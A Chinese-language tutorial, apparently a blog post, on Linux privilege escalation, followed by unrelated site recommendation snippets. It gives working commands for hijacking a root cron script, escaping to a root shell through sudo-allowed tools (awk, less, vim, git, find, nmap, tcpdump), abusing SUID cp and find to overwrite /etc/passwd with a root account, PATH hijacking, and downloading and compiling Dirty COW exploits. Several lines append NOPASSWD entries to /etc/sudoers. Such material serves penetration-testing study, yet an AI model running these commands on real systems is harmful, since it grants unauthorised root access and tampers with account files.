linux提权入门

一、crontab提权

linux系统中可以使用crontab -e命令创建计划任务,/var/spool/cron/目录下保存着每个用户的定时任务,非root用户没有权限列出。另外还可以编辑/etc/crontab设置计划任务,该文件普通用户是可以查看的。

  1. 编辑/etc/crontab,设置每隔1分钟执行一次sh脚本
*/1 * * * * root sh /home/test/test.sh >> /tmp/test.txt
image.png
  1. 如果test用户有权限操作test.sh,则存在提权漏洞。下面使用test用户修改test.sh:将test用户加入sudoers
[test@localhost ~]$ mv test.sh test.sh.bak
[test@localhost ~]$ vim test.sh
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ cat test.sh
image.png
  1. 等待1分钟后,成功提权
[test@localhost ~]$ sudo su
[root@localhost test]# whoami
image.png

二、sudo提权

Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。

  1. awk
  • 将awk加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk
  • 执行提权
[test@localhost ~]$ sudo awk 'BEGIN {system("/bin/bash")}'
[root@localhost test]# whoami
root
image.png
  1. less、more
  • 将less和more加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk,/usr/bin/less /var/log/vmware-install.log,/bin/more /var/log/vmware-install.log
  • 执行提权
[test@localhost ~]$ sudo less /var/log/vmware-install.log 
输入!/bin/bash
[root@localhost test]# whoami 
root
image.png
  1. vim
[test@localhost Desktop]$ sudo vim -c '!bash'
[root@localhost Desktop]# whoami
root
image.png
  1. git
test@ubuntu:/home$ sudo git help status
输入!/bin/bash即可获得root权限
root@ubuntu:/home# whoami 
root
image.png
  1. find
[test@localhost ~]$ sudo find /bin/ -name ls -exec /bin/bash \;
[root@localhost test]# whoami
root
image.png
  1. nmap
  • 首先创建一个nse文件
[test@localhost ~]$ echo "os.execute('/bin/bash')" > /tmp/shell.nse
  • 然后使用nmap执行脚本进行提权
[test@localhost ~]$ sudo nmap --script=/tmp/shell.nse
image.png
  1. tcpdump
  • 首先创建一个文件,并赋予执行权限
[test@localhost ~]$ cat /tmp/test 
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ chmod +x /tmp/test
  • 进行提权操作
[test@localhost ~]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root

[test@localhost ~]$ sudo su
[root@localhost test]# whoami 
root
image.png

三、S权限位

Linux中通过设置SUID,可以让程序的执行者临时拥有属主的权限,使用下面的命令可以搜索系统中所有的SUID可执行文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
  1. cp
    利用过程
  • 生成一个新的/etc/passwd,用户名data密码123
[test@localhost ~]$ cat /etc/passwd
[test@localhost ~]$ openssl passwd -1 -salt data 123
$1$data$GjDuj3QgL0edNBoahZ.Xg/
[test@localhost ~]$ touch passwd
将以下内容插入passwd,生成一个新的passwd文件
data:$1$data$GjDuj3QgL0edNBoahZ.Xg/:0:0::/root:/bin/bash
  • 假设cp具有SUID权限,可以通过替换/etc/passwd进行提权
[root@localhost ~]# chmod u+s /bin/cp
[test@localhost ~]$ cp passwd /etc/passwd
[test@localhost ~]$ su data
Password: 
[root@localhost test]# whoami 
root
image.png
  1. bash
    以root身份打开一个bash shell
[test@localhost ~]$ bash -p
bash-4.1# whoami
root
  1. find
    查找文件的同时执行命令
[test@localhost ~]$ find /bin -name ls -exec whoami \;
root
image.png
  • 利用过程
    使用之前生成的passwd文件,并执行以下命令替换/etc/passwd,其中'{}'指passwd文件的内容
[test@localhost ~]$ find passwd -exec cp '{}' /etc/passwd \;
[test@localhost ~]$ su data
Password: 
[root@localhost test]# whoami 
root
image.png

四、环境变量

  1. 假设当前有一段C语言代码,实现让普通用户可以免密码切到test用户
#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("su test");
}
  1. 进行编译,并赋予S权限位
[root@localhost tmp]# gcc demo.c -o demo
[root@localhost tmp]# chmod u+s demo
  1. 添加环境变量进行提权
[coler@localhost tmp]$ echo "/bin/bash" > su
[coler@localhost tmp]$ chmod 777 su 
[coler@localhost tmp]$ pwd
/tmp
[coler@localhost tmp]$ export PATH=/tmp:$PATH
[coler@localhost tmp]$ ./demo 
[root@localhost tmp]# whoami 
root
[root@localhost tmp]# echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/coler/bin
image.png

五、系统漏洞提权

脏牛漏洞:测试发现centos7.2之前能成功,7.3开始无法成功
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

  1. centos6.5
  • 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
[test@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
  • 执行后会创建一个firefart用户,并将passwd文件备份到/tmp/passwd.bak
[test@localhost ~]$ ./dirty
image.png
  • 此时切到firefart用户即为root权限,当然我们也可以替换之前的passwd文件
[test@localhost ~]$ su firefart
[firefart@localhost test]# id
[firefart@localhost test]# cp /tmp/passwd.bak /etc/passwd
image.png
  1. centos7.2
  • 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/gbonacini/CVE-2016-5195/master/dcow.cpp
[test@localhost ~]$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
  • 执行提权
[test@localhost ~]$ ./dcow 
?著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,128评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,316评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,737评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,283评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,384评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,458评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,467评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,251评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,688评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,980评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,155评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,818评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,492评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,142评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,382评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,020评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,044评论 2 352

推荐阅读更多精彩内容

  • 查询命令具体介绍:man/info 命令 计算器:bc 进行加减乘除操作 时间:date cal Tab键:补全命...
    Suavitygogo阅读 388评论 0 0
  • 此篇文章内容是我很久以前在印象笔记中的一个知识总结,大概122个Linux指令。如今,写出来就当再回顾一遍了。若有...
    StephenZhang01阅读 1,061评论 0 5
  • 观其大纲 第1部分Linux的基础知识第1章Linux概述第2章Linux系统的安装KickStart开始自动安装...
    周少言阅读 1,471评论 1 10
  • chmod:修改权限 chown:写改属主,属组 umask:改创建文件时的默认权限,权限掩码 set位: ...
    heiguu阅读 1,763评论 0 0
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,737评论 0 10